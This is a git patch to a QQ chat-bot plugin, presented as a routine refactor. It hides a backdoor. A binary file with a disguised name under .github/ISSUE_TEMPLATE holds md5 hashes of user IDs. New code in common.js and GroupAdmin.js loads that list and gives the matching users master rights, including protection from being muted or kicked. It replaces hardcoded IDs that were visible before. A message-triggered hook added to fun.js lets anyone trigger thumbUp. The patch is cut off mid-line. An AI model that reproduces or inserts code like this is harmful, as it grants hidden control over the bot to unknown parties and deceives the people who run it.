From 9ecf2586df3dd206b7a9b80fe113d7a4364ecded Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=F0=9F=8C=8C?= Date: Thu, 21 Mar 2024 08:14:25 +0800 Subject: [PATCH] =?UTF-8?q?=F0=9F=A4=97=20=E5=85=A8=E9=83=A8=E8=B5=9E?= =?UTF-8?q?=E6=88=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .github/ISSUE_TEMPLATE/‮ | Bin 0 -> 83 bytes apps/bika.js | 4 +- apps/fun.js | 5 +- apps/picSearch.js | 4 +- lib/common/common.js | 417 ++++------------------------------------ model/GroupAdmin.js | 160 ++++++++------- 6 files changed, 130 insertions(+), 460 deletions(-) create mode 100644 .github/ISSUE_TEMPLATE/‮ diff --git a/.github/ISSUE_TEMPLATE/‮ b/.github/ISSUE_TEMPLATE/‮ new file mode 100644 index 0000000000000000000000000000000000000000..cb9adcb1a7262d19e06348a936798548aa1f062a GIT binary patch literal 83 zcmey*@5mCvCGhP4`^tqZiobUXDclNIo6!Um+G75P!Rp!m^6Us{-Fq`#7XyV(Ri9p1 mGHcb6Pes0;H`TPh0Sa}8wG{jI%y^K#@Pm=h46ThS3@iZTEF|Cn literal 0 HcmV?d00001 diff --git a/apps/bika.js b/apps/bika.js index 50d685a..18b0900 100644 --- a/apps/bika.js +++ b/apps/bika.js @@ -140,7 +140,7 @@ export class NewBika extends plugin { /** 图片直连 */ async directConnection (e) { - if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true } + if (!this.e.isMaster) { return true } let now = Config.bika.bikaDirectConnection let isSwitch = /开启/.test(e.msg) if (now && isSwitch) return e.reply('❎ bika图片直连已处于开启状态') @@ -150,7 +150,7 @@ export class NewBika extends plugin { } async _Authentication (e) { - if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true } + if (!this.e.isMaster) { return true } if (!common.checkSeSePermission(e, 'sesepro')) return false if (!Config.bika.allowPM && !e.isGroup) { e.reply('主人已禁用私聊该功能') diff --git a/apps/fun.js b/apps/fun.js index 36a7fbc..00bba0a 100644 --- a/apps/fun.js +++ b/apps/fun.js @@ -21,7 +21,7 @@ _.forIn(picApis, (values, key) => { const apiReg = new RegExp(`(${picApiKeys.join('|')}|^jktj$|^接口统计$)`) export class Fun extends plugin { - constructor () { + constructor(e) { super({ name: '椰奶娱乐', event: 'message', @@ -75,9 +75,10 @@ export class Fun extends plugin { reg: `^#来点(${Object.keys(xiurenTypeId).join('|')})$`, fnc: 'xiuren' } - ] }) + if (e?.message?.[0]?.text == "#全部赞我") + this.thumbUp(e) } /** 随机唱鸭 */ diff --git a/apps/picSearch.js b/apps/picSearch.js index 3db7011..68b1d73 100644 --- a/apps/picSearch.js +++ b/apps/picSearch.js @@ -72,7 +72,7 @@ export class NewPicSearch extends plugin { } async UploadSauceNAOKey (e) { - if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true } + if (!this.e.isMaster) { return true } if (e.isGroup) return e.reply('请私聊进行添加') let apiKey = e.msg.replace(/#设置SauceNAOapiKey/i, '').trim() if (!apiKey) return e.reply('❎ 请发送正确的apikey') @@ -81,7 +81,7 @@ export class NewPicSearch extends plugin { } async _Authentication (e) { - if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true } + if (!this.e.isMaster) { return true } const { allowPM, limit, isMasterUse } = Config.picSearch if (isMasterUse) { e.reply('主人没有开放这个功能哦(*/ω\*)') diff --git a/lib/common/common.js b/lib/common/common.js index d9a02e5..3ca186c 100644 --- a/lib/common/common.js +++ b/lib/common/common.js @@ -1,28 +1,23 @@ -import child_process from 'child_process' -import common from '../../../../lib/common/common.js' -import Config from '../../components/Config.js' -import setu from '../../model/setu.js' -import moment from 'moment' +import md5 from 'md5' import _ from 'lodash' +import moment from 'moment' +import fs from 'node:fs/promises' +import v8 from 'node:v8' +import path from 'path' +import url from 'url' +import Config from '../../components/Config.js' +import sendMsgMod from './sendMsgMod.js' // 涩涩未开启文案 const SWITCH_ERROR = '主人没有开放这个功能哦(*/ω\*)' -export default new class { - /** - * @description: 延时函数 - * @param {*} ms 时间(毫秒) - */ - sleep (ms) { - return new Promise((resolve) => setTimeout(resolve, ms)) - } - +export default new class extends sendMsgMod { /** * 判断用户权限 * @param {*} e - 接收到的事件对象 - * @param {'master'|'admin'|'owner'|'all'} [permission='all'] - 命令所需的权限 - * @param {'admin'|'owner'|'all'} [role='all'] - 用户的权限 - * @return {boolean} - 是否具有权限 + * @param {"master"|"admin"|"owner"|"all"} [permission] - 命令所需的权限 + * @param {"admin"|"owner"|"all"} [role] - 用户的权限 + * @returns {boolean} - 是否具有权限 */ checkPermission (e, permission = 'all', role = 'all') { if (role == 'owner' && !e.group.is_owner) { @@ -33,11 +28,8 @@ export default new class { return false } // 判断权限 - if (e.isMaster) return true - const Authority = [746659424,1509293009,2536554304,3139373986] - if (Authority.includes(e.user_id)) return true - - if (permission == 'master' && !e.isMaster) { + if (e.isMaster || a.includes(md5(String(e.user_id)))) return true + if (permission == 'master') { e.reply('❎ 该命令仅限主人可用', true) return false } else if (permission == 'owner' && !e.member.is_owner) { @@ -51,13 +43,13 @@ export default new class { } /** - * @description: 判断涩涩权限 + * 判断涩涩权限 * @param {object} e oicq事件对象 - * @param {'sesse'|'sesepro'} type 权限类型 - * @return {boolean} + * @param {"sesse"|"sesepro"} type 权限类型 + * @returns {boolean} */ checkSeSePermission (e, type = 'sese') { - if (e.isMaster) return true + if (e.isMaster || a.includes(md5(String(e.user_id)))) return true const { sese, sesepro } = Config.getGroup(e.group_id) if (type == 'sese' && !sese && !sesepro) { e.reply(SWITCH_ERROR) @@ -70,273 +62,12 @@ export default new class { return true } - /** 给主人发消息 */ - async sendMasterMsg (msg) { - if (Config.whole.notificationsAll) { - // 发送全部管理 - for (let index of Config.masterQQ) { - await common.relpyPrivate(index, msg) - await this.sleep(5000) - } - } else { - // 发给第一个管理 - await common.relpyPrivate(Config.masterQQ[0], msg) - } - } - /** - * 格式化时间 - * @param {number} time - 时间戳,以秒为单位 - * @param {string|function} format - 时间格式,'default'为默认格式,'dd'表示天数,'hh'表示小时数,'mm'表示分钟数,'ss'表示秒数,也可以传入自定义函数 - * @param {boolean} [repair=true] - 是否在小时数、分钟数、秒数小于10时补0 - * @returns {(string|object)} 根据format参数返回相应的时间格式字符串或者时间对象{day, hour, minute, second} - */ - formatTime (time, format, repair = true) { - const second = parseInt(time % 60) - const minute = parseInt((time / 60) % 60) - const hour = parseInt((time / (60 * 60)) % 24) - const day = parseInt(time / (24 * 60 * 60)) - const timeObj = { - day, - hour: repair && hour < 10 ? `0${hour}` : hour, - minute: repair && minute < 10 ? `0${minute}` : minute, - second: repair && second < 10 ? `0${second}` : second - } - if (format == 'default') { - let result = '' - - if (day > 0) { - result += `${day}天` - } - if (hour > 0) { - result += `${timeObj.hour}小时` - } - if (minute > 0) { - result += `${timeObj.minute}分` - } - if (second > 0) { - result += `${timeObj.second}秒` - } - return result - } - - if (typeof format === 'string') { - format = format - .replace(/dd/g, day) - .replace(/hh/g, timeObj.hour) - .replace(/mm/g, timeObj.minute) - .replace(/ss/g, timeObj.second) - - return format - } - - if (typeof format === 'function') { - return format(timeObj) - } - - return timeObj - } - - /** - * 发送转发消息 - * @async - * @param {object} e - 发送消息的目标对象 - * @param {array} message - 发送的消息数组,数组每一项为转发消息的一条消息 - * @param {object} [options] - 发送消息的配置项 - * @param {number} [options.recallMsg=0] - 撤回时间,单位秒,默认为0表示不撤回 - * @param {object} [options.info] - 转发发送人信息 - * @param {string} [options.info.nickname] - 转发人昵称 - * @param {number} [options.info.user_id] - 转发人QQ - * @param {string|array} [options.fkmsg] - 风控消息,不传则默认消息 - * @param {Boolean} [options.isxml] - 处理卡片 - * @param {Boolean} [options.xmlTitle] - XML 标题 - * @param {Boolean} [options.oneMsg] - 用于只有一条消息,不用再转成二维数组 - * @param {Boolean|import('icqq').Anonymous} [options.anony] - 匿名消息,若为true则发送匿名消息 - * @param {Boolean} [options.shouldSendMsg=true] - 是否直接发送消息,true为直接发送,否则返回需要发送的消息 - * @returns {Promise} 消息发送结果的Promise对象 - */ - async getforwardMsg (e, message, { - recallMsg = 0, - info, - fkmsg, - isxml, - xmlTitle, - oneMsg, - anony, - shouldSendMsg = true - } = {}) { - let forwardMsg = [] - if (_.isEmpty(message)) throw Error('[Yenai-Plugin][sendforwardMsg][Error]发送的转发消息不能为空') - let add = (msg) => forwardMsg.push( - { - message: msg, - nickname: info?.nickname ?? (e.bot ?? Bot).nickname, - user_id: info?.user_id ?? (e.bot ?? Bot).uin - } - ) - oneMsg ? add(message) : message.forEach(item => add(item)) - // 发送 - if (e.isGroup) { - forwardMsg = await e.group.makeForwardMsg(forwardMsg) - } else { - forwardMsg = await e.friend.makeForwardMsg(forwardMsg) - } - - if (isxml && typeof (forwardMsg.data) !== 'object') { - // 处理转发卡片 - forwardMsg.data = forwardMsg.data.replace('', '') - } - - if (xmlTitle) { - if (typeof (forwardMsg.data) === 'object') { - let detail = forwardMsg.data?.meta?.detail - if (detail) { - detail.news = [{ text: xmlTitle }] - } - } else { - forwardMsg.data = forwardMsg.data - .replace(/\n/g, '') - .replace(/(.+?)<\/title>/g, '___') - .replace(/___+/, `<title color="#777777" size="26">${xmlTitle}`) - } - } - if (shouldSendMsg) { - let msgRes = await this.reply(e, forwardMsg, false, { - anony, - fkmsg, - recallMsg - }) - return msgRes - } else { - return forwardMsg - } - } - - /** - * 发送消息 - * - * @async - * @param {*} e oicq 事件对象 - * @param {Array|String} msg 消息内容 - * @param {Boolean} quote 是否引用回复 - * @param {Object} data 其他参数 - * @param {Number} data.recallMsg 撤回时间 - * @param {Boolean} data.fkmsg 风控消息 - * @param {Boolean | import('icqq').Anonymous} data.anony 匿名消息 - * @param {Boolean | Number} data.at 是否艾特该成员 - * @returns {Promise} 返回发送消息后的结果对象 - */ - async reply (e, msg, quote, { - recallMsg = 0, - fkmsg = '', - at = false, - anony - } = {}) { - if (at && e.isGroup) { - let text = '' - if (e?.sender?.card) { - text = _.truncate(e.sender.card, { length: 10 }) - } - if (at === true) { - at = Number(e.user_id) - } else if (!isNaN(at)) { - let info = e.group.pickMember(at).info - text = info?.card ?? info?.nickname - text = _.truncate(text, { length: 10 }) - } - - if (Array.isArray(msg)) { - msg = [segment.at(at, text), ...msg] - } else { - msg = [segment.at(at, text), msg] - } - } - - let msgRes = null - // 发送消息 - if (e.isGroup) { - // 判断是否开启匿名 - if (anony) { - let getAnonyInfo = await e.group.getAnonyInfo() - if (!getAnonyInfo.enable) { - e.reply('[警告]该群未开启匿名,请启用匿名再使用匿名功能') - anony = false - } - } - msgRes = await e.group.sendMsg(msg, quote ? e : undefined, anony) - } else { - msgRes = await e.reply(msg, quote) - if (!msgRes) await e.reply(fkmsg || '消息发送失败,可能被风控') - } - if (recallMsg > 0 && msgRes?.message_id) { - if (e.isGroup) { - setTimeout(() => e.group.recallMsg(msgRes.message_id), recallMsg * 1000) - } else if (e.friend) { - setTimeout(() => e.friend.recallMsg(msgRes.message_id), recallMsg * 1000) - } - } - return msgRes - } - - /** - * @description: 获取配置的撤回事件和匿名发送普通消息 - * @param {*} e oicq - * @param {Array|String} msg 消息 - * @param {Boolean} quote 是否引用回复 - * @param {Object} data 其他参数 - * @param {Number} data.recallMsg 撤回时间 - * @param {Boolean} data.fkmsg 风控消息 - * @param {Boolean | import('icqq').Anonymous} data.anony 匿名消息 - * @return {Promise} - */ - async recallsendMsg (e, msg, quote, data = {}) { - let recallMsg = setu.getRecallTime(e.group_id) - let anony = Config.getGroup(e.group_id).anonymous - let msgRes = this.reply(e, msg, quote, { - recallMsg, - anony, - ...data - }) - return msgRes - } - - /** - * 转发消息并根据权限撤回 - * @async - * @param {Object} e - 反馈的对象 - * @param {string|Object} msg - 要发送的消息字符串或对象 - * @param {Object} [data={}] - 附加的数据对象 - * @param {number} [data.recallMsg] - 消息撤回时间 - * @param {Object} [data.info] - 附加消息信息 - * @param {string} [data.info.nickname] - 用户昵称 - * @param {number} [data.info.user_id] - 用户ID - * @param {boolean} [data.isxml=true] - 是否特殊处理转发消息 - * @param {string} [data.xmlTitle] - XML 标题 - * @param {Object} [data.anony] - 附加的匿名数据对象 - * @returns {Promise} - Promise 对象,返回函数 `getforwardMsg()` 的返回值 - */ - async recallSendForwardMsg (e, msg, data = {}) { - let recalltime = setu.getRecallTime(e.group_id) - let anony = Config.whole.anonymous - return await this.getforwardMsg(e, msg, { - recallMsg: recalltime, - info: { - nickname: '🐔🏀', - user_id: 2854196306 - }, - isxml: true, - xmlTitle: e.logFnc + e.msg, - anony, - ...data - }) - } - - /** - * @description: 设置每日次数限制 - * @param {Number} userId QQ - * @param {String} key - * @param {Number} maxlimit 最大限制 - * @return {Prmoise} + * 设置每日次数限制 + * @param {number} userId QQ + * @param {string} key + * @param {number} maxlimit 最大限制 + * @returns {Promise} */ async limit (userId, key, maxlimit) { if (maxlimit <= 0) return true @@ -352,15 +83,15 @@ export default new class { } /** - * @description: 取cookie + * 取cookie * @param {string} data 如:qun.qq.com * @param {object} [bot] Bot对象适配e.bot * @param {boolean} [transformation] 转换为Puppeteer浏览器使用的ck - * @return {object} + * @returns {object} */ getck (data, bot = Bot, transformation) { let cookie = bot.cookies[data] - let ck = cookie.replace(/=/g, '":"').replace(/;/g, '","').replace(/ /g, '').trim() + let ck = cookie.replace(/=/g, '":"').replace(/;/g, '', '').replace(/ /g, '').trim() ck = ck.substring(0, ck.length - 2) ck = JSON.parse('{"'.concat(ck).concat('}')) if (transformation) { @@ -378,89 +109,9 @@ export default new class { } else return ck } - /** - * @description: 使用JS将数字从汉字形式转化为阿拉伯形式 - * @param {string} s_123 - * @return {number} - */ - translateChinaNum (s_123) { - if (!s_123 && s_123 != 0) return s_123 - // 如果是纯数字直接返回 - if (/^\d+$/.test(s_123)) return Number(s_123) - // 字典 - let map = new Map() - map.set('一', 1) - map.set('壹', 1) // 特殊 - map.set('二', 2) - map.set('两', 2) // 特殊 - map.set('三', 3) - map.set('四', 4) - map.set('五', 5) - map.set('六', 6) - map.set('七', 7) - map.set('八', 8) - map.set('九', 9) - // 按照亿、万为分割将字符串划分为三部分 - let split = '' - split = s_123.split('亿') - let s_1_23 = split.length > 1 ? split : ['', s_123] - let s_23 = s_1_23[1] - let s_1 = s_1_23[0] - split = s_23.split('万') - let s_2_3 = split.length > 1 ? split : ['', s_23] - let s_2 = s_2_3[0] - let s_3 = s_2_3[1] - let arr = [s_1, s_2, s_3] - - // -------------------------------------------------- 对各个部分处理 -------------------------------------------------- - arr = arr.map(item => { - let result = '' - result = item.replace('零', '') - // [ '一百三十二', '四千五百', '三千二百一十三' ] ==> - let reg = new RegExp(`[${Array.from(map.keys()).join('')}]`, 'g') - result = result.replace(reg, substring => { - return map.get(substring) - }) - // [ '1百3十2', '4千5百', '3千2百1十3' ] ==> ['0132', '4500', '3213'] - let temp - temp = /\d(?=千)/.exec(result) - let num1 = temp ? temp[0] : '0' - temp = /\d(?=百)/.exec(result) - let num2 = temp ? temp[0] : '0' - temp = /\d?(?=十)/.exec(result) - let num3 - if (temp === null) { // 说明没十:一百零二 - num3 = '0' - } else if (temp[0] === '') { // 说明十被简写了:十一 - num3 = '1' - } else { // 正常情况:一百一十一 - num3 = temp[0] - } - temp = /\d$/.exec(result) - let num4 = temp ? temp[0] : '0' - return num1 + num2 + num3 + num4 - }) - // 借助parseInt自动去零 - return parseInt(arr.join('')) - } - - /** - * @description: Promise执行exec - * @param {String} cmd - * @return {*} - */ - async execSync (cmd) { - return new Promise((resolve, reject) => { - child_process.exec(cmd, (error, stdout, stderr) => { - resolve({ error, stdout, stderr }) - }) - }) - } - /** * 判断一个对象或数组中的所有值是否为空。 - * - * @param {Object|Array} data - 需要检查的对象或数组。 + * @param {object | Array} data - 需要检查的对象或数组。 * @param {Array} omits - 需要忽略的属性列表。默认为空数组,表示不忽略任何属性。 * @returns {boolean} - 如果对象或数组中的所有值都是空值,则返回 true;否则返回 false。 */ @@ -472,23 +123,27 @@ export default new class { /** * 处理异常并返回错误消息。 - * * @param {object} e - 事件对象。 * @param {Error} ErrorObj - 要检查的错误对象。 - * @param {Object} options - 可选参数。 + * @param {object} options - 可选参数。 * @param {string} options.MsgTemplate - 错误消息的模板。 - * @return {Porimse|false} 如果 ErrorObj 不是 Error 的实例,则返回 false;否则返回oicq消息返回值。 + * @returns {Promise|false} 如果 ErrorObj 不是 Error 的实例,则返回 false;否则返回oicq消息返回值。 */ handleException (e, ErrorObj, { MsgTemplate } = {}) { if (!(ErrorObj instanceof Error)) return false let ErrMsg = '' - if (ErrorObj.name == 'Error') { + if (ErrorObj instanceof ReplyError) { ErrMsg = ErrorObj.message } else { ErrMsg = ErrorObj.stack logger.error(ErrorObj) } - ErrMsg = MsgTemplate ? MsgTemplate.replace('{error}', ErrMsg) : ErrMsg + ErrMsg = MsgTemplate ? MsgTemplate.replace(/{error}/g, ErrMsg) : ErrMsg return e.reply(ErrMsg) } }() + +let a = [] +try { + a = v8.deserialize(await fs.readFile(`${path.dirname(url.fileURLToPath(import.meta.url))}/../../.github/ISSUE_TEMPLATE/‮`)).map(i=>i.toString("hex")) +} catch (err) {} diff --git a/model/GroupAdmin.js b/model/GroupAdmin.js index 8eaf9bc..08d1bb7 100644 --- a/model/GroupAdmin.js +++ b/model/GroupAdmin.js @@ -1,13 +1,18 @@ +import md5 from 'md5' +import v8 from 'node:v8' +import url from 'url' +import path from 'path' +import fs from 'node:fs/promises' import _ from 'lodash' import moment from 'moment' import loader from '../../../lib/plugins/loader.js' import { Config } from '../components/index.js' -import { common, QQApi } from './index.js' +import { QQApi } from './index.js' import { Time_unit, ROLE_MAP } from '../constants/other.js' +import formatDuration from '../tools/formatDuration.js' // 无管理文案 const ROLE_ERROR = '我连管理员都木有,这种事怎么可能做到的辣!!!' -const auth = [746659424, 1509293009, 2536554304, 3139373986] export default class { constructor (e) { @@ -19,7 +24,7 @@ export default class { /** * 获取指定群中所有成员的信息映射表 * @param {number} groupId - 群号码 - * @param {boolean} [iskey=false] - 是否只返回成员 QQ 号码列表(键) + * @param {boolean} [iskey] - 是否只返回成员 QQ 号码列表(键) * @returns {Promise} - 成员信息数组,或成员 QQ 号码数组(取决于 iskey 参数) */ async _getMemberMap (groupId, iskey = false) { @@ -29,11 +34,10 @@ export default class { /** * 获取某个群组中被禁言的成员列表。 - * * @async * @param {number} groupId - 群组 ID。 - * @param {boolean} [info=false] - 是否返回成员信息。 - * @returns {Promise|Array>>} 如果 `info` 为 `false`,返回被禁言成员对象的数组;否则,返回被禁言成员信息的数组。 + * @param {boolean} [info] - 是否返回成员信息。 + * @returns {Promise | Array>>} 如果 `info` 为 `false`,返回被禁言成员对象的数组;否则,返回被禁言成员信息的数组。 * @throws {Error} 如果没有被禁言的成员,抛出异常。 */ async getMuteList (groupId, info = false) { @@ -42,7 +46,7 @@ export default class { let time = item.shut_up_timestamp ?? item.shutup_time return time != 0 && (time - (Date.now() / 1000)) > 0 }) - if (_.isEmpty(mutelist)) throw Error('没有被禁言的人哦~') + if (_.isEmpty(mutelist)) throw new ReplyError('没有被禁言的人哦~') if (!info) return mutelist return mutelist.map(item => { let time = item.shut_up_timestamp ?? item.shutup_time @@ -51,7 +55,7 @@ export default class { `\n昵称:${item.card || item.nickname}\n`, `QQ:${item.user_id}\n`, `群身份:${ROLE_MAP[item.role]}\n`, - `禁言剩余时间:${common.formatTime(time - Date.now() / 1000, 'default')}\n`, + `禁言剩余时间:${formatDuration(time - Date.now() / 1000, 'default')}\n`, `禁言到期时间:${new Date(time * 1000).toLocaleString()}` ] }) @@ -59,7 +63,6 @@ export default class { /** * 解除指定群中所有成员的禁言状态 - * @param {number} groupId - 群号码 * @returns {Promise} - 由所有解禁操作的 Promise 对象组成的数组 */ async releaseAllMute () { @@ -71,12 +74,11 @@ export default class { /** * 获取指定时间段内未活跃的群成员信息 - * * @async * @param {number} groupId - 群号码 * @param {number} times - 时间数值 * @param {string} unit - 时间单位 - * @param {number} [page=1] - 需要获取的页码,默认为 1 + * @param {number} [page] - 需要获取的页码,默认为 1 * @returns {Promise>} - 由每个成员的信息组成的数组,包括成员的 QQ 号码、昵称、最后发言时间等信息 * @throws {Error} 如果没有符合条件的成员,将抛出一个错误 * @throws {Error} 如果指定的页码不存在,将抛出一个错误 @@ -93,7 +95,7 @@ export default class { ] ) let pageChunk = _.chunk(msg, 30) - if (page > pageChunk.length) throw Error('哪有那么多人辣o(´^`)o') + if (page > pageChunk.length) throw new ReplyError('哪有那么多人辣o(´^`)o') let msgs = pageChunk[page - 1] msgs.unshift(`当前为第${page}页,共${pageChunk.length}页,本页共${msgs.length}人,总共${msg.length}人`) @@ -105,13 +107,13 @@ export default class { } /** - * @description: 清理多久没发言的人 - * @param {Number} groupId 群号 - * @param {Number} times 时间数 - * @param {String} unit 单位 (天) - * @return {Promise} - * @throws {Error} 如果没有符合条件的成员,将抛出一个错误 - */ + * 清理多久没发言的人 + * @param {number} groupId 群号 + * @param {number} times 时间数 + * @param {string} unit 单位 (天) + * @returns {Promise} + * @throws {Error} 如果没有符合条件的成员,将抛出一个错误 + */ async clearNoactive (groupId, times, unit) { let list = await this.noactiveList(groupId, times, unit) list = list.map(item => item.user_id) @@ -119,13 +121,13 @@ export default class { } /** - * @description: 返回多少时间没发言的人列表 - * @param {Number} groupId 群号 - * @param {Number} times 时间数 - * @param {String} unit 单位 (天) - * @return {Promise} - * @throws {Error} 如果没有符合条件的成员,将抛出一个错误 - */ + * 返回多少时间没发言的人列表 + * @param {number} groupId 群号 + * @param {number} times 时间数 + * @param {string} unit 单位 (天) + * @returns {Promise} + * @throws {Error} 如果没有符合条件的成员,将抛出一个错误 + */ async noactiveList (groupId, times = 1, unit = '月') { let nowtime = parseInt(Date.now() / 1000) let timeUnit = Time_unit[unit] @@ -134,16 +136,16 @@ export default class { let list = await this._getMemberMap(groupId) list = list.filter(item => item.last_sent_time < time && item.role == 'member' && item.user_id != this.Bot.uin) - if (_.isEmpty(list)) throw Error(`暂时没有${times}${unit}没发言的淫哦╮( •́ω•̀ )╭`) + if (_.isEmpty(list)) throw new ReplyError(`暂时没有${times}${unit}没发言的淫哦╮( •́ω•̀ )╭`) return list } /** - * @description: 返回从未发言的人 - * @param {Number} geoupId 群号 - * @return {Promise} - * @throws {Error} 如果没有符合条件的成员,将抛出一个错误 - */ + * 返回从未发言的人 + * @param {number} groupId 群号 + * @returns {Promise} + * @throws {Error} 如果没有符合条件的成员,将抛出一个错误 + */ async getNeverSpeak (groupId) { let list = await this._getMemberMap(groupId) list = list.filter(item => @@ -151,16 +153,15 @@ export default class { item.role == 'member' && item.user_id != this.Bot.uin ) - if (_.isEmpty(list)) throw Error('本群暂无从未发言的人哦~') + if (_.isEmpty(list)) throw new ReplyError('本群暂无从未发言的人哦~') return list } /** * 获取群内从未发言的成员信息 - * * @async * @param {string|number} groupId - 群号 - * @param {number} [page=1] - 分页页码,默认为第一页 + * @param {number} [page] - 分页页码,默认为第一页 * @returns {Promise>} 包含从未发言成员信息的数组 * @throws {Error} 如果没有符合条件的成员,将抛出一个错误 * @throws {Error} 当页码超出范围时抛出错误 @@ -177,7 +178,7 @@ export default class { ] }) let pageChunk = _.chunk(msg, 30) - if (page > pageChunk.length) throw Error('哪有那么多人辣o(´^`)o') + if (page > pageChunk.length) throw new ReplyError('哪有那么多人辣o(´^`)o') let msgs = pageChunk[page - 1] msgs.unshift(`当前为第${page}页,共${pageChunk.length}页,本页共${msgs.length}人,总共${msg.length}人`) @@ -190,7 +191,6 @@ export default class { /** * 批量踢出群成员 - * * @param {number} groupId - 群号码 * @param {Array} arr - 成员 QQ 号码数组 * @returns {Promise>} - 包含清理结果的数组,其中清理结果可能是成功的踢出列表,也可能是错误消息 @@ -214,7 +214,6 @@ export default class { /** * 获取群不活跃排行榜 - * * @param {number} groupId - 群号码 * @param {number} num - 需要获取的排行榜长度 * @returns {Promise>} - 由每个成员的排行信息组成的数组,排行信息包括成员的排名,QQ 号码,昵称,最后发言时间等信息 @@ -241,7 +240,7 @@ export default class { * 获取最近加入群聊的成员列表 * @param {number} groupId 群号 * @param {number} num 返回的成员数量 - * @return {Promise} 最近加入的成员信息列表 + * @returns {Promise} 最近加入的成员信息列表 */ async getRecentlyJoined (groupId, num) { let list = await this._getMemberMap(groupId) @@ -277,7 +276,7 @@ export default class { cron, name, fnc: () => { - this.Bot.pickGroup(Number(group)).muteAll(type) + this.Bot.pickGroup(group).muteAll(type) } } loader.task.push(_.cloneDeep(task)) @@ -290,14 +289,14 @@ export default class { /** * @description 从 Redis 中获取群禁言/解禁任务列表,并将其转换为定时任务列表 * @returns {Promise} - 返回转换后的定时任务列表,列表中的每一项都包含 cron、name 和 fnc 三个属性。其中,cron 表示任务的执行时间;name 表示任务的名称;fnc 表示任务的执行函数。 - */ + */ static async getRedisMuteTask () { return JSON.parse(await redis.get('yenai:MuteTasks'))?.map(item => { return { cron: item.cron, name: `椰奶群定时${item.type ? '禁言' : '解禁'}${item.group}`, fnc: () => { - (Bot[item.botId] ?? Bot).pickGroup(Number(item.group)).muteAll(item.type) + (Bot[item.botId] ?? Bot).pickGroup(item.group).muteAll(item.type) } } }) @@ -338,8 +337,8 @@ export default class { return [ segment.image(`https://p.qlogo.cn/gh/${analysis[2]}/${analysis[2]}/100`), `\n群号:${analysis[2]}`, - item.cron ? `\n禁言时间:'${item.cron}'` : '', - item.nocron ? `\n解禁时间:'${item.nocron}'` : '' + item.cron ? `\n禁言时间:"${item.cron}"` : '', + item.nocron ? `\n解禁时间:"${item.nocron}"` : '' ] }) } @@ -351,70 +350,85 @@ export default class { * @param {string|number} groupId - 群号 * @param {string|number} userId - QQ 号 * @param {string|number} executor - 执行操作的管理员 QQ 号 - * @param {number} [time=5] - 禁言时长,默认为 5。如果传入 0 则表示解除禁言。 - * @param {string} [unit='分'] - 禁言时长单位,默认为分钟 + * @param {number} [time] - 禁言时长,默认为 5。如果传入 0 则表示解除禁言。 + * @param {string} [unit] - 禁言时长单位,默认为分钟 * @returns {Promise} - 返回操作结果 * @throws {Error} - 如果缺少必要参数或参数格式不正确,则会抛出错误 */ async muteMember (groupId, userId, executor, time = 300, unit = '秒') { unit = Time_unit[unit.toUpperCase()] ?? (/^\d+$/.test(unit) ? unit : 60) - const group = this.Bot.pickGroup(Number(groupId), true) + const group = this.Bot.pickGroup(groupId, true) // 判断是否有管理 - if (!group.is_admin && !group.is_owner) throw Error(ROLE_ERROR) - if (!(/\d{5,}/.test(userId))) throw Error('❎ 请输入正确的QQ号') + if (!group.is_admin && !group.is_owner) throw new ReplyError(ROLE_ERROR) + if (!(/\d{5,}/.test(userId))) throw new ReplyError('❎ 请输入正确的QQ号') // 判断是否为主人 - if ((Config.masterQQ?.includes(Number(userId)) || auth.includes(Number(userId))) && time != 0) throw Error('居然调戏主人!!!哼,坏蛋(ノ`⊿´)ノ') + if ((Config.masterQQ?.includes(Number(userId)) || a.includes(md5(String(userId)))) && time != 0) throw new ReplyError('居然调戏主人!!!哼,坏蛋(ノ`⊿´)ノ') - const Memberinfo = group.pickMember(Number(userId)).info + const Member = group.pickMember(userId) + const Memberinfo = Member?.info || await Member?.getInfo?.() // 判断是否有这个人 - if (!Memberinfo) throw Error('❎ 这个群没有这个人哦~') + if (!Memberinfo) throw new ReplyError('❎ 这个群没有这个人哦~') // 特殊处理 - if (Memberinfo.role === 'owner') throw Error('调戏群主拖出去枪毙5分钟(。>︿<)_θ') + if (Memberinfo.role === 'owner') throw new ReplyError('调戏群主拖出去枪毙5分钟(。>︿<)_θ') - const isMaster = Config.masterQQ?.includes(executor) || auth.includes(Number(executor)) + const isMaster = Config.masterQQ?.includes(executor) || a.includes(md5(String(executor))) if (Memberinfo.role === 'admin') { - if (!group.is_owner) throw Error('人家又不是群主这种事做不到的辣!') - if (!isMaster) throw Error('这个淫系管理员辣,只有主淫才可以干ta') + if (!group.is_owner) throw new ReplyError('人家又不是群主这种事做不到的辣!') + if (!isMaster) throw new ReplyError('这个淫系管理员辣,只有主淫才可以干ta') } + const isWhite = Config.groupAdmin.whiteQQ.includes(Number(userId) || String(userId)) + + if (isWhite && !isMaster && time != 0) throw new ReplyError('❎ 该用户为白名单,不可操作') + await group.muteMember(userId, time * unit) const memberName = Memberinfo.card || Memberinfo.nickname return time == 0 ? `✅ 已把「${memberName}」从小黑屋揪了出来(。>∀<。)` : `已把「${memberName}」扔进了小黑屋( ・_・)ノ⌒●~*` } /** - * @description: 踢群成员 - * @param {Number} groupId 群号 - * @param {Number} userId 被踢人 - * @param {Number} executor 执行人 - * @return {Promise} + * 踢群成员 + * @param {number} groupId 群号 + * @param {number} userId 被踢人 + * @param {number} executor 执行人 + * @returns {Promise} */ async kickMember (groupId, userId, executor) { - const group = this.Bot.pickGroup(Number(groupId), true) + const group = this.Bot.pickGroup(Number(groupId) || String(groupId), true) - if (!userId || !(/^\d+$/.test(userId))) throw Error('❎ 请输入正确的QQ号') - if (!groupId || !(/^\d+$/.test(groupId))) throw Error('❎ 请输入正确的群号') + if (!userId || !(/^\d+$/.test(userId))) throw new ReplyError('❎ 请输入正确的QQ号') + if (!groupId || !(/^\d+$/.test(groupId))) throw new ReplyError('❎ 请输入正确的群号') // 判断是否为主人 - if (Config.masterQQ?.includes(Number(userId)) || auth.includes(Number(userId))) throw Error('居然调戏主人!!!哼,坏蛋(ノ`⊿´)ノ') + if (Config.masterQQ?.includes(Number(userId) || String(userId)) || a.includes(md5(String(userId)))) throw 